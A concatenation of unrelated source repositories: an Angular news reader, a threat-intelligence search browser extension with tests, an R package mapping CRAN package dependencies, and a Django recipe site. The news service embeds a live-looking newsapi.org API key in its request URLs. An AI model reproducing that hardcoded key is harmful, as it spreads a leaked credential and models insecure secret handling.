f98f05fdbb86f19a00c90390323d633a170bf73e
refs/heads/master
<file_sep>var app =angular.module('mod',[]); app.controller('ctr',function($scope) { $scope.products = [ {name: "sumsung" , price:500, active:false}, { name: "Iphone" , price:600,active:false}, {name: "Nokia" , price:700,active:false}, { name: "Lenove" ,price:800,active:false}, {name: "oopo" , price:900,active:false } ]; $scope.addToList= function (p) { p.active = !p.active; } $scope.total= function () { var total= 0; angular.forEach( $scope.products , function (p) { if(p.active==true) { total = total+ p.price; } }); return total; } });
e5a992ffb693e2a55a4dd71ab0a1b0478b72b59e
[ "JavaScript" ]
1
JavaScript
MunibaNisar/InvoiceSystem
a6ae58dbc19714662b6144d8f6043109ea0c848e
06853a22b54a7f1a83243ec722d2a0bdbfb0c636
refs/heads/master
<repo_name>amar33333/Project1_News<file_sep>/src/app/news-object.ts export class NewsObject { article:[{ author:string; description:string; publishedAt:string; source:{ id:string; name:string; } title:string; url:string; urlToImage:string; }] } <file_sep>/src/app/search/search.component.ts import { Component, OnInit,Input } from '@angular/core'; import {SharedDataService} from './../shared-data.service' import { NewsService } from './../Services/news.service'; import { NewsObject } from './../news-object' @Component({ selector: 'app-search', templateUrl: './search.component.html', styleUrls: ['./search.component.css'] }) export class SearchComponent implements OnInit { @Input() searchtext:string; public searchData:NewsObject; constructor(private shared_data:SharedDataService,private _newsService:NewsService) { } ngOnInit() { console.log(this.shared_data.searchText); this._newsService.getsearchData(this.shared_data.searchText) .subscribe(result=> { this.searchData=result.articles; console.log(this.searchData) }) } } <file_sep>/src/app/app.component.ts import { Component, OnInit } from '@angular/core'; import { NewsService } from './Services/news.service'; import { NewsObject } from './news-object' import {SharedDataService} from './shared-data.service' @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'app'; public newsData: NewsObject; public search_clicked:boolean; constructor(private _newsService: NewsService, private shared_data:SharedDataService) { this.newsData = new NewsObject(); this.search_clicked=false; } ngOnInit() { this._newsService.getNewsData().subscribe(result => { console.log(result.articles); this.newsData = result.articles; console.log(result.totalResults); }) console.log(this.newsData) } searchClicked() { console.log(this.shared_data.searchText) if(this.shared_data.searchText!=undefined && this.shared_data.searchText!=''){ this.search_clicked =!this.search_clicked; } } } <file_sep>/src/app/Services/news.service.ts import { Injectable } from '@angular/core'; import { Headers, Http, RequestOptions, Response } from '@angular/http'; import { Observable,of } from 'rxjs'; import {map, catchError} from 'rxjs/operators' @Injectable({ providedIn: 'root' }) export class NewsService { constructor(private http: Http) { } private extractData(res: Response) { const body = res.json(); return body || {}; } private handleError(error: any) { const errMsg = (error.message) ? error.message : error.status ? `${error.status} - ${error.statusText}` : 'Server error'; console.error(error.message); return Observable.throw(error.message || error); } public getNewsData():Observable<any> { let url = "https://newsapi.org/v2/top-headlines" let urlParms = '?country=us&category=business&apiKey=fd2d1977743c453ca1ab1784723afa98'; return this.http .get(url + urlParms) .pipe( map(this.extractData), catchError(this.handleError) ); } public getsearchData(keywords:string):Observable<any> { let url = "https://newsapi.org/v2/everything" let urlParms = '?q=' +keywords +'&from=2018-07-06&sortBy=popularity&apiKey=fd2d1977743c453ca1ab1784723afa98'; return this.http .get(url + urlParms) .pipe( map(this.extractData), catchError(this.handleError) ); } }
2d5ad2f830fdcd32a464d6af255b9d0927127667
[ "TypeScript" ]
4
TypeScript
amar33333/Project1_News
a7a989b6d08019533e7b79bd9bb5b28692169ce4
7ce80575c4e31beff518cf8c30cb6b5176238537
refs/heads/master
<file_sep>import { expect } from "chai"; import "mocha"; import { SearcherResult, Selector } from "../lib/selector"; describe("Seletor", () => { const stats = { // domainbigdata, findsubdomains, pulsedive, securitytrails, urlscan, virustotal + text(3) domain: 6, // hybridanalysis, pulsedive, virustotal hash: 3, // securitytrails, pulsedive, urlscan ip: 4, // shodan, censys, publicwww text: 3, // urlscan, pulsedive, virustotal url: 3, }; context("ip", () => { const selector: Selector = new Selector("text"); describe("#getSearchersForRaw", () => { it("should return Searchers support text", () => { expect(selector.getSearchersForText().length).to.equal(stats.text); }); }); describe("#getSearcherResults", () => { it("should return Searchers support text", () => { const results: SearcherResult[] = selector.getSearcherResults(); for (const result of results) { expect(result.query).to.equal("text"); } expect(results.length).to.equal(stats.text); }); }); }); context("ip", () => { const selector: Selector = new Selector("8.8.8.8"); describe("#getIP", () => { it("should return the ip", () => { expect(selector.getIP()).to.equal("8.8.8.8"); }); }); describe("#getSearchersForIP", () => { it("should return Searchers support IP", () => { expect(selector.getSearchersForIP().length).to.equal(stats.ip); }); }); describe("#getSearchers", () => { it("should return SearchrerResults support domain", () => { const results: SearcherResult[] = selector.getSearcherResults(); for (const result of results) { expect(result.query).to.equal("8.8.8.8"); } expect(results.length).to.equal(stats.text + stats.ip); }); }); }); context("domain", () => { const selector: Selector = new Selector("urlscan.io"); describe("#getDomain", () => { it("should return the domain", () => { expect(selector.getDomain()).to.equal("urlscan.io"); }); }); describe("#getSearchersForDomain", () => { it("should return Searchers support domain", () => { expect(selector.getSearchersForDomain().length).to.equal(stats.domain); }); }); describe("#getSearchers", () => { it("should return SearchrerResults support domain", () => { const results: SearcherResult[] = selector.getSearcherResults(); for (const result of results) { expect(result.query).to.equal("urlscan.io"); } expect(results.length).to.equal(stats.text + stats.domain); }); }); }); context("url", () => { const selector: Selector = new Selector("https://urlscan.io/"); describe("#getUrl", () => { it("should return the domain", () => { expect(selector.getUrl()).to.equal("https://urlscan.io/"); }); }); describe("#getSearchersForUrl", () => { it("should return Searchers support url", () => { expect(selector.getSearchersForUrl().length).to.equal(stats.url); }); }); describe("#getSearchers", () => { it("should return SearchrerResults support url", () => { const results: SearcherResult[] = selector.getSearcherResults(); for (const result of results) { expect(result.query).to.equal("https://urlscan.io/"); } expect(results.length).to.equal(stats.text + stats.url); }); }); }); context("hash", () => { const selector: Selector = new Selector("275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"); describe("#getHash", () => { it("should return SHA256", () => { expect(selector.getHash()).to.equal("275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"); // additional tests const s2: Selector = new Selector("3395856ce81f2b7382dee72602f798b642f14140"); expect(s2.getHash()).to.equal("3395856ce81f2b7382dee72602f798b642f14140"); const s3: Selector = new Selector("44d88612fea8a8f36de82e1278abb02f"); expect(s3.getHash()).to.equal("44d88612fea8a8f36de82e1278abb02f"); }); }); describe("#getSearchersForHash", () => { it("should return Searchers support hash", () => { expect(selector.getSearchersForHash().length).to.equal(stats.hash); }); }); describe("#getSearchers", () => { it("should return SearchrerResults support hash", () => { const results: SearcherResult[] = selector.getSearcherResults(); for (const result of results) { expect(result.query).to.equal("275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"); } expect(results.length).to.equal(stats.text + stats.hash); }); }); }); }); <file_sep>import { Command } from "./lib/command"; import { SearcherResult, Selector } from "./lib/selector"; import { Urlscan } from "./lib/urlscan"; function showNotification(message: string) { chrome.notifications.create({ iconUrl: "./icons/48.png", message, title: "Mitaka", type: "basic", }); } function listner(info, tab) { const id: string = info.menuItemId; const command = new Command(id); switch (command.action) { case "search": try { const url = command.search(); if (url !== undefined && url !== "") { chrome.tabs.create({ url }); } } catch (err) { showNotification(err.message); } break; case "scan": scan(command.query); break; } } function scan(query) { chrome.storage.sync.get("apiKey", async (config) => { const urlscan = new Urlscan(config.apiKey); const res = await urlscan.scanByUrl(query).catch((e) => { let message; if (e.response.status === 401) { message = "Please set your API key via the option"; } else { message = e.response.data.description; } showNotification(message); }); if (res) { chrome.tabs.create({ url: res.data.result, }); } }); } chrome.runtime.onMessage.addListener((message, sender, sendResponse) => { if (message.request === "updateContextMenu") { chrome.contextMenus.removeAll(() => { // search searchers based on a type of the input const text: string = message.selection; const selector: Selector = new Selector(text); const results: SearcherResult[] = selector.getSearcherResults(); for (const result of results) { const name = result.searcher.name; // it tells action/query/type/target to the listner const id = `Search ${result.query} as a ${result.type} on ${name}`; const title = `Search this ${result.type} on ${name}`; const options = { contexts: ["selection"], id, onclick: listner, title, }; chrome.contextMenus.create(options); } // if there is a url in the ioc, show the scan option if (selector.getUrl() !== null) { const id = `Scan ${selector.getUrl()} as a url on Urlscan`; const title = `Scan this url on Urlscan`; const options = { contexts: ["selection"], id, onclick: listner, title, }; chrome.contextMenus.create(options); } }); } }); <file_sep>import { SearcherResult, Selector } from "./selector"; export class Command { public action: string; public parts: string[]; public query: string; public target: string; constructor(command: string) { this.parts = command.split(" "); this.action = this.parts[0].toLowerCase(); this.query = this.parts.slice(1, this.parts.length - 5).join(" "); this.target = this.parts[this.parts.length - 1]; } public search(): string { const selector: Selector = new Selector(this.query); const results: SearcherResult[] = selector.getSearcherResults(); const result = results.find((r) => r.searcher.name === this.target); let target = ""; if (result !== undefined) { switch (result.type) { case "text": target = result.searcher.searchByText!(result.query); break; case "ip": target = result.searcher.searchByIP!(result.query); break; case "domain": target = result.searcher.searchByDomain!(result.query); break; case "url": target = result.searcher.searchByURL!(result.query); break; case "hash": target = result.searcher.searchByHash!(result.query); break; } } return target; } } <file_sep>import axios from "axios"; import { Searcher } from "./searcher"; export class Urlscan implements Searcher { public endpoint: string; public name: string; public supportedTypes: string[] = ["ip", "domain", "url"]; protected apiKey: string; constructor(apiKey) { this.apiKey = apiKey; this.endpoint = "https://urlscan.io/api/v1"; this.name = "Urlscan"; } public searchByIP(query) { const encoded = encodeURIComponent(query); return this.search(encoded); } public searchByDomain(query) { const encoded = encodeURIComponent(query); return this.search(encoded); } public searchByURL(query) { const encoded = encodeURIComponent(`"${query}"`); return this.search(encoded); } public search(query) { const url = `https://urlscan.io/search/`; return `${url}#${query}`; } public async scanByUrl(url, isPublic = true) { const res = await axios.post(`${this.endpoint}/scan/`, { public: isPublic ? "on" : "off", url, }, { headers: { "API-KEY": this.apiKey, }, }); return res; } } <file_sep>import { getIOC, IOC } from "ioc-extractor"; import { Censys } from "./censys"; import { DomainBigData } from "./domainbigdata"; import { FindSubDomains } from "./findsubdomains"; import { HybridAnalysis } from "./hybridanalysis"; import { PublicWWW } from "./publicwww"; import { Pulsedive } from "./pulsedive"; import { Searcher } from "./searcher"; import { SecurityTrails } from "./securitytrails"; import { Shodan } from "./shodan"; import { Urlscan } from "./urlscan"; import { VirusTotal } from "./virustotal"; export interface SearcherResult { searcher: Searcher; type: string; query: string; } export class Selector { protected input: string; protected ioc: IOC; protected searchers: Searcher[] = [ new Censys(), new DomainBigData(), new FindSubDomains(), new HybridAnalysis(), new PublicWWW(), new Pulsedive(), new SecurityTrails(), new Shodan(), new Urlscan("test"), new VirusTotal(), ]; constructor(input: string) { this.input = input; this.ioc = getIOC(input); } public getIP(): string | null { if (this.ioc.networks.ipv4s !== null) { return this.ioc.networks.ipv4s[0]; } return null; } public getDomain(): string | null { if (this.ioc.networks.domains !== null) { return this.ioc.networks.domains[0]; } return null; } public getUrl(): string | null { if (this.ioc.networks.urls !== null) { return this.ioc.networks.urls[0]; } return null; } public getHash(): string | null { let hashes: string[] = []; hashes = this.concat(hashes, this.ioc.hashes.sha256s); hashes = this.concat(hashes, this.ioc.hashes.sha1s); hashes = this.concat(hashes, this.ioc.hashes.md5s); if (hashes.length === 0) { return null; } return hashes[0]; } public getSearchersForText(): Searcher[] { return this.searchers.filter((searcher: Searcher) => searcher.supportedTypes.indexOf("text") !== -1); } public getSearchersForIP(): Searcher[] { return this.searchers.filter((searcher: Searcher) => searcher.supportedTypes.indexOf("ip") !== -1); } public getSearchersForDomain(): Searcher[] { return this.searchers.filter((searcher: Searcher) => searcher.supportedTypes.indexOf("domain") !== -1); } public getSearchersForUrl(): Searcher[] { return this.searchers.filter((searcher: Searcher) => searcher.supportedTypes.indexOf("url") !== -1); } public getSearchersForHash(): Searcher[] { return this.searchers.filter((searcher: Searcher) => searcher.supportedTypes.indexOf("hash") !== -1); } public getSearcherResults(): SearcherResult[] { let results: SearcherResult[] = []; results = this.concat(results, this.makeResults(this.getSearchersForText(), "text", this.input)); const url = this.getUrl(); if (url !== null) { return this.concat(results, this.makeResults(this.getSearchersForUrl(), "url", url)); } const domain = this.getDomain(); if (domain !== null) { return this.concat(results, this.makeResults(this.getSearchersForDomain(), "domain", domain)); } const ip = this.getIP(); if (ip !== null) { return this.concat(results, this.makeResults(this.getSearchersForIP(), "ip", ip)); } const hash = this.getHash(); if (hash !== null) { return this.concat(results, this.makeResults(this.getSearchersForHash(), "hash", hash)); } return results; } private concat<T>(target: T[], input: T[] | null): T[] { if (input !== null) { return target.concat(input); } return target; } private makeResults(searchers: Searcher[], type: string, query: string) { const results: SearcherResult[] = []; for (const s of searchers) { results.push(this.makeResult(s, type, query)); } return results; } private makeResult(searcher: Searcher, type: string, query: string) { return { searcher, type, query }; } } <file_sep>import { expect } from "chai"; import "mocha"; import { Command } from "../lib/command"; describe("Command", () => { describe("#constructor", () => { it("should return attributes", () => { const command = new Command("Search https://github.com as a url on Urlscan"); expect(command.action).to.equal("search"); expect(command.query).to.equal("https://github.com"); expect(command.target).to.equal("Urlscan"); }); }); describe("#search", () => { it("should return a URL for search", () => { const command = new Command("Search https://github.com as a url on Urlscan"); expect(command.search()).to.equal("https://urlscan.io/search/#%22https%3A%2F%2Fgithub.com%22"); }); }); }); <file_sep>// Saves options to chrome.storage.sync. function save_options() { const apiKey = document.getElementById("api-key") as HTMLInputElement; if (apiKey) { chrome.storage.sync.set({ apiKey: apiKey.value, }, () => { const status = document.getElementById("status"); if (status) { status.textContent = "Options saved."; } }); } } function restore_options() { chrome.storage.sync.get("apiKey", (config) => { const apiKey = document.getElementById("api-key") as HTMLInputElement; if (apiKey) { apiKey.value = config.apiKey; } }); } document.addEventListener("DOMContentLoaded", () => { restore_options(); const save = document.getElementById("save"); if (save) { save.addEventListener("click", save_options); } });
cdf9c28e3ed4234fd8237e1f547cd804cc718ac1
[ "TypeScript" ]
7
TypeScript
code4security/mitaka
7fcfc879a47b240503788c5f8f440f17d873287d
3b59ab099f74dfd58b62af3fbcfb21c3a2a9ebef
refs/heads/master
<file_sep>default: README.md %.md: %.Rmd Rscript -e 'rmarkdown::render("$<", output_file="$@")' .PHONY: default <file_sep>#' Build and Analyze Network of R Packages #' #' Package DESCRIPTION files allows for specifying several types of #' inter-package relations. These include fields like Depends, Suggests, #' Enhances etc. This package and function \code{\link{pkgnet}} allows for #' recovering graph structure based on these relations. Network representation #' of R repositories enables the user to explore the interconnected space of #' available R functionality while the developers or repository maintainers can #' quickly scan package forward and reverse dependencies. #' #' #' @name cranet-package #' @docType package #' @author Author and maintainter: <NAME> #' @keywords package NULL <file_sep>--- title: "Build and analyze network of CRAN packages" date: "`r Sys.time()`" output: github_document --- ```{r setup, include=FALSE} library(pkgnet) library(igraph) knitr::opts_chunk$set( echo = TRUE, fig.path = "internal/" ) knitr::render_markdown(strict=FALSE) ``` [![Build Status](https://travis-ci.org/mbojan/pkgnet.png?branch=master)](https://travis-ci.org/mbojan/pkgnet) [![Build Status](https://ci.appveyor.com/api/projects/status/8jwpc9dn34xll00p?svg=true)](https://ci.appveyor.com/project/mbojan/pkgnet) [![rstudio mirror downloads](http://cranlogs.r-pkg.org/badges/pkgnet?color=2ED968)](http://cranlogs.r-pkg.org/) [![cran version](http://www.r-pkg.org/badges/version/pkgnet)](https://cran.r-project.org/package=pkgnet) Package `DESCRIPTION` files allows for specifying several types of inter-package relations. These include fields like Depends, Suggests, Enhances etc. This package allows for recovering graph structure based on these relations. Network representation of R repositories enables the user to explore the interconnected space of available R functionality while the developers or repository maintainers can scan package forward and reverse dependencies etc. The main function `pkgnet` creates an igraph object of packages available in specified repository containing all other fields from `available.packages` as vertex and edge attributes. # Examples ## Network based on current snapshot of CRAN This will fetch data on packages available on CRAN at this very moment and transform it to an igraph object: ```{r current_cran} g <- pkgnet("cran") summary(g) ``` Thus today (`r Sys.Date()`) we have `r vcount(g)` packages in total. This however includes also packages that are not available on CRAN, but are mentioned by other packages in their `DESCRIPTION` files. This can be checked using the `Repository` field which will be equal to `NA` for packages not available on CRAN: ```{r not_on_cran} sum( is.na(V(g)$Repository) ) ``` ## Graph of packages related to network analysis Let extract a subgraph of packages depending (`Depends`, `Imports`, or `Suggests`) on one of the packages providing facilities to store and process network data ("graph", "igraph", "network", "networkDynamic"). Get the neighborhoods and make the graph: ```{r network} # Seed packages seeds <- c("igraph", "network", "graph") # Only dependence arcs depnet <- delete.edges(g, E(g)[ !(type %in% c("Depends", "Imports", "Suggests")) ]) # list of package names pkg_names <- ego(depnet, 1, V(depnet)[ name %in% seeds ], mode="in" ) sg <- simplify( induced_subgraph(depnet, unique(unlist(pkg_names))) ) summary(sg) ``` Plot it such that: - Arcs go "upstream" - Nodes for seed packages are larger - Colors show which of the "seed" packages a given package depends on ```{r network_plot} set.seed(2992) # Coordinates xy <- layout.fruchterman.reingold(sg) # Colors d <- distances(sg, to=V(sg)[ name %in% seeds], mode="out") x <- apply(d, 1, function(x) paste(sort(colnames(d)[x == min(x)]), collapse="+")) pal <- RColorBrewer::brewer.pal(length(unique(x)), "Set1") cols <- pal[ match(x, sort(unique(x)))] # Plot plot(sg, vertex.size=ifelse( V(sg)$name %in% seeds, 10, 5), vertex.color=cols, layout=xy, vertex.label.color="black", # vertex.frame.color = par("bg"), edge.arrow.size=.5, vertex.label=NA, margin=0 ) legend("bottomright", title="Dependencies", sort(unique(x)), pch=21, pt.bg=pal, col="black", bty="n" ) ``` # Installation ```{r installation, eval=FALSE} devtools::install_github("mbojan/pkgnet") ```<file_sep>Build and analyze network of CRAN packages ================ 2016-08-12 16:57:01 [![Build Status](https://travis-ci.org/mbojan/pkgnet.png?branch=master)](https://travis-ci.org/mbojan/pkgnet) [![Build Status](https://ci.appveyor.com/api/projects/status/8jwpc9dn34xll00p?svg=true)](https://ci.appveyor.com/project/mbojan/pkgnet) [![rstudio mirror downloads](http://cranlogs.r-pkg.org/badges/pkgnet?color=2ED968)](http://cranlogs.r-pkg.org/) [![cran version](http://www.r-pkg.org/badges/version/pkgnet)](https://cran.r-project.org/package=pkgnet) Package `DESCRIPTION` files allows for specifying several types of inter-package relations. These include fields like Depends, Suggests, Enhances etc. This package allows for recovering graph structure based on these relations. Network representation of R repositories enables the user to explore the interconnected space of available R functionality while the developers or repository maintainers can scan package forward and reverse dependencies etc. The main function `pkgnet` creates an igraph object of packages available in specified repository containing all other fields from `available.packages` as vertex and edge attributes. Examples ======== Network based on current snapshot of CRAN ----------------------------------------- This will fetch data on packages available on CRAN at this very moment and transform it to an igraph object: ``` r g <- pkgnet("cran") summary(g) ``` ## IGRAPH DN-- 9186 47048 -- ## + attr: name (v/c), Version (v/c), Priority (v/c), License (v/c), ## | License_is_FOSS (v/c), License_restricts_use (v/c), OS_type ## | (v/c), Archs (v/c), MD5sum (v/c), NeedsCompilation (v/c), File ## | (v/c), Repository (v/c), type (e/c) Thus today (2016-08-12) we have 9186 packages in total. This however includes also packages that are not available on CRAN, but are mentioned by other packages in their `DESCRIPTION` files. This can be checked using the `Repository` field which will be equal to `NA` for packages not available on CRAN: ``` r sum( is.na(V(g)$Repository) ) ``` ## [1] 248 Graph of packages related to network analysis --------------------------------------------- Let extract a subgraph of packages depending (`Depends`, `Imports`, or `Suggests`) on one of the packages providing facilities to store and process network data ("graph", "igraph", "network", "networkDynamic"). Get the neighborhoods and make the graph: ``` r # Seed packages seeds <- c("igraph", "network", "graph") # Only dependence arcs depnet <- delete.edges(g, E(g)[ !(type %in% c("Depends", "Imports", "Suggests")) ]) # list of package names pkg_names <- ego(depnet, 1, V(depnet)[ name %in% seeds ], mode="in" ) sg <- simplify( induced_subgraph(depnet, unique(unlist(pkg_names))) ) summary(sg) ``` ## IGRAPH DN-- 344 563 -- ## + attr: name (v/c), Version (v/c), Priority (v/c), License (v/c), ## | License_is_FOSS (v/c), License_restricts_use (v/c), OS_type ## | (v/c), Archs (v/c), MD5sum (v/c), NeedsCompilation (v/c), File ## | (v/c), Repository (v/c) Plot it such that: - Arcs go "upstream" - Nodes for seed packages are larger - Colors show which of the "seed" packages a given package depends on ``` r set.seed(2992) # Coordinates xy <- layout.fruchterman.reingold(sg) # Colors d <- distances(sg, to=V(sg)[ name %in% seeds], mode="out") x <- apply(d, 1, function(x) paste(sort(colnames(d)[x == min(x)]), collapse="+")) pal <- RColorBrewer::brewer.pal(length(unique(x)), "Set1") cols <- pal[ match(x, sort(unique(x)))] # Plot plot(sg, vertex.size=ifelse( V(sg)$name %in% seeds, 10, 5), vertex.color=cols, layout=xy, vertex.label.color="black", # vertex.frame.color = par("bg"), edge.arrow.size=.5, vertex.label=NA, margin=0 ) legend("bottomright", title="Dependencies", sort(unique(x)), pch=21, pt.bg=pal, col="black", bty="n" ) ``` ![](internal/network_plot-1.png) Installation ============ ``` r devtools::install_github("mbojan/pkgnet") ``` <file_sep>context("Basic use of pkgnet()") test_that("pkgnet() works on built-in matrix", { g <- pkgnet(avpkgs) expect_s3_class(g, "igraph") }) test_that("pkgnet() works with an URL", { skip_on_cran() g <- pkgnet("https://cloud.r-project.org") expect_s3_class(g, "igraph") }) context("pkgnet() works with CRAN and Bioconductor") test_that("pkgnet works with CRAN cloud", { skip_on_cran() g <- pkgnet("cran") expect_s3_class(g, "igraph") expect_gt( igraph::vcount(g), 0) expect_gt( igraph::ecount(g), 0) }) test_that("pkgnet works with Bioconductor", { skip_on_cran() g <- pkgnet("bioc") expect_s3_class(g, "igraph") expect_gt( igraph::vcount(g), 0) expect_gt( igraph::ecount(g), 0) }) <file_sep>#' Matrix of Available Packages #' #' Snapshot of packages avaiable on CRAN on 2016-08-12 #' #' @format #' A \Sexpr{paste(dim(cranet::avpkgs), collapse="x")} matrix #' returned by \code{\link{available.packages}} with the following column names: #' \Sexpr{paste( dQuote(colnames(cranet::avpkgs)), collapse=", ")}. #' #' @source Fetched from \url{http://cloud.r-project.org} on August 12, 2016. #' #' @seealso #' \code{\link{available.packages}}, \code{\link{crannet}} which is an igraph object #' built from such matrix. #' #' @keywords datasets #' @name avpkgs #' @docType data NULL <file_sep>#' Build a network based on package availability matrix #' #' Given the matrix as returned by \code{available.packages} construct a graph, #' of class \code{igraph} of inter-package relations. #' #' The resulting graph (object of class \code{igraph}) is a multigraph: there #' can be multiple relationships between any given pair of vertices. Different #' types of relations can be disentagled using edge attribute called #' \code{type}. It stores the type of relation as provided with \code{enams} #' argument. #' #' @param object a matrix as returned by \code{\link{available.packages}} or a #' character scalar, one of \code{"cran"} or \code{"bioc"} to fetch and #' process packages available on CRAN or on Bioconductor, or an URL to a #' CRAN-like repository. #' @param enams character, names of columns of \code{a} that are to be used as #' edge attributes #' @param vnams character, names of columns of \code{a} that are to be used as #' vertex attributes #' @param ap_args \code{NULL} or list of arguments passed to #' \code{\link{available.packages}} #' @param ... arguments passed to/from other methods #' #' @return Object of class \code{igraph}. #' #' @seealso \code{\link{available.packages}}, \code{\link{graph.data.frame}} #' #' @examples #' \dontrun{ #' a <- available.packages(contrib.url("http://cran.r-project.org", "source")) #' g <- pkgnet(a) #' summary(g) #' } #' #' #' @export pkgnet <- function(object, ...) UseMethod("pkgnet") #' @method pkgnet default #' @rdname pkgnet #' @export pkgnet.default <- function(object, ...) { stop("don't know how to handle object of class ", oldClass(object)) } #' @method pkgnet character #' @rdname pkgnet #' @export pkgnet.character <- function(object, ap_args=NULL, ...) { u <- switch(object, cran = "https://cloud.r-project.org", bioc = "https://bioconductor.org/packages/3.0/bioc", object) a <- do.call("available.packages", c(list(repos=u), ap_args)) pkgnet.matrix(a, ...) } #' @method pkgnet matrix #' @rdname pkgnet #' @export pkgnet.matrix <- function(object, enams=c("Depends", "Suggests", "Imports", "Enhances", "LinkingTo"), vnams=c("Version", "Priority", "License", "License_is_FOSS", "License_restricts_use", "OS_type", "Archs", "MD5sum", "NeedsCompilation", "File", "Repository"), ... ) { # check available relations i <- enams %in% colnames(object) if(!all(i)) stop(paste("fields not found:", paste(enams[!i], collapse=", "))) # check other fields i <- vnams %in% colnames(object) if(!all(i)) stop(paste("fields not found:", paste(vnams[!i], collapse=", "))) # list of edgelists and nodes lists l <- lapply(enams, function(vn) { # split on commas and drop newline alt <- strsplit( gsub("\n", "", object[,vn]), ", *") # get rid of package versions el <- lapply(alt, function(x) { rval <- gsub( "\\(.*\\)", "", x) stats::na.omit( gsub(" +", "", rval) ) } ) len <- sapply(el, length) # edge list edges <- data.frame( ego=rep(names(el), len), alter=unlist(el), type=rep(vn, sum(len)), stringsAsFactors=FALSE) # node list nodes <- data.frame(name=sort(unique(c(names(el), unlist(el)))), stringsAsFactors=FALSE) # add package attributes for 'object' mv <- match(nodes$name, object[,"Package"]) z <- as.data.frame(object[mv, vnams], stringsAsFactors=FALSE) rownames(z) <- NULL nodes <- cbind( nodes, z ) list(nodes=nodes, edges=edges) } ) nodes <- do.call("rbind", lapply(l, "[[", "nodes")) nodes <- unique(nodes) edges <- do.call("rbind", lapply(l, "[[", "edges")) rval <- igraph::graph.data.frame(edges, vertices=nodes) rval } <file_sep>#' Snapshot of CRAN packages #' #' Snapshot of CRAN packages made on 2016-08-12 #' #' @format #' The network object is of class \code{igraph}. It is a directed network which #' contains \Sexpr{igraph::vcount(cranet::crannet)} packages (vertices) and #' \Sexpr{igraph::ecount(cranet::crannet)} inter-package relations (edges). The #' network, together with vertex and edge attributes is build from the matrix as #' returned by \code{\link{available.packages}}, which in turn is based on #' package DESCRIPTION files. #' #' Available edge attributes: #' \Sexpr{paste( igraph::list.edge.attributes(cranet::crannet), collapse=", ")} #' #' Available vertex attributes: #' \Sexpr{paste( igraph::list.vertex.attributes(cranet::crannet), collapse=", ")}. #' #' The network is a multi-graph, i.e. there may be multiple edges between a #' given pair of nodes. This corresponds to the fact, that package X may, for #' example, both depend and import package Y. To disentangle the types of #' relations one can use edge attribute \code{type} which identifies a type of #' inter-package relation. Possible values are of this attribute are: #' \Sexpr{paste( sort(unique(igraph::E(cranet::crannet)$type)), collapse=", ")}. #' They come from the respective columns in the matrix returned by #' \code{\link{available.packages}}. #' #' See \code{\link{available.packages}} for the description of the attributes #' and types of inter-package relations. #' #' @source Fetched from \url{http://cran.at.r-project.org} on August 12, 2016. #' @keywords datasets #' @docType data #' @name crannet NULL <file_sep>require(igraph) # neighborhood of network "backend" packages: # "network", "networkDynamic", "igraph", and "graph" # drop some obvious dependencies: R, base and recommended packages g <- delete.vertices(crannet, V(crannet)[ name == "R" ] ) g <- delete.vertices(g, V(g)[ Priority %in% "recommended" ] ) bpkg <- c("stats", "tools", "utils", "methods", "stats4", "rgl", "tcltk", "base") g <- delete.vertices(g, V(g)[ name %in% bpkg ] ) summary(g) # pick the neighborhood and make the subgraph npkg <- c("igraph", "network", "graph", "networkDynamic") n <- neighborhood(g, 1, V(g)[ name %in% npkg ] ) sg <- simplify( induced.subgraph(g, unique(unlist(n)) ) ) summary(sg) # plot it set.seed(2992) koords <- layout.fruchterman.reingold(sg) plot(sg, vertex.size=1, vertex.label=V(sg)$name, layout=koords, vertex.label.color="black", edge.arrow.size=.5, vertex.label.cex=.9, vertex.label.family="Helvetica") <file_sep>library(testthat) library(cranet) test_check("cranet")
e9848d8015fe8ce5b32d107838f0651f49f52781
[ "Markdown", "Makefile", "R", "RMarkdown" ]
10
Makefile
mbojan/pkgnet
a14ec82ef9af8396783cd5ef5cd8423b33a29f02
875d6ae006dde750528414f4e2a033e713ea2af1
refs/heads/master
<repo_name>gabriels3t/introducao-Ao-Django-site-de-receita<file_sep>/apps/receitas/admin.py from django.contrib import admin from .models import Receita # Register your models here. class ListandoReceitas(admin.ModelAdmin): list_display =('id','nome_receita','categoria','publicada') # adicionar oq sera mostrado no admin list_display_links = ('id','nome_receita') # deixar clicavel search_fields = ('nome_receita',) # Fazer o sistema de pesquisa nescesario ter uma , no final list_filter = ('categoria','publicada',) #filtrar por alguma coisa nescesario ter uma , no final list_editable = ('publicada',) # lista de campos que podem ser editados list_per_page = 5 # dados por pagina admin.site.register(Receita,ListandoReceitas)<file_sep>/readme.md # Introdução ao Django2 : Criando um site de receitas # Descrição Criando um site de receitas ## habilidades aprendidas: * Aprenda a desenvolver aplicações web utilizando a linguagem Python * Desenvolva uma aplicação do zero, seguindo as principais convenções e boas práticas * Saiba como configurar e conectar sua aplicação com um banco de dados sql * Melhore seu código, reaproveitando em outras partes da aplicação * Entenda a arquitetura de uma aplicação feita com Django * Realize filtros e crie listas no seu site * Crie e integre modelos * Faça o admin do seu site com o Django admin * Saiba como criar uma página de busca com páginação * Aprenda a criar um sistema de autenticação de usuários não vinculado ao Django admin * Saiba como trabalhar com formulários no Django * Desenvolva uma aplicação com requisições protegidas, evitando falsificação de requisições * Melhore a experiência dos usuários do seu site, enviando mensagens de sucesso e de erro * Crie uma aplicação inspirada num produto real * Aprenda a editar, atualizar e remover objetos * Saiba como trabalhar com formulários no Django * Desenvolva uma boa arquitetura em seus projeto Django * Entenda como incluir paginação no Django * Crie uma aplicação inspirada num produto rea <file_sep>/apps/receitas/urls.py from django.urls import path from .views import * urlpatterns =[ path('',index,name='index'), path('<int:receita_id>',receita,name='receita'), path('buscar',buscar,name='buscar'), path('cria/receita',cria_receita,name='cria_receita'), path('deleta/<int:receita_id>',deleta_receita,name='deleta_receita'), path('editar/<int:receita_id>',editar_receita,name='edita_receita'), path('atualiza_receita',atualiza_receita,name='atualiza_receita'), ] # path('nome que eu quero da url',Pagina q eu quero chamar # ,name='nomedapaginaigual do html') # <int:receita_id> Para passar parametro exemplo receita?id=1<file_sep>/apps/usuarios/urls.py from django.urls import path from . import views urlpatterns =[ path('cadastro',views.cadastro,name='cadastro'), path('login',views.login,name='login'), path('dashboard',views.dashboard,name='dashboard'), path('logout',views.logout,name='logout'), ]
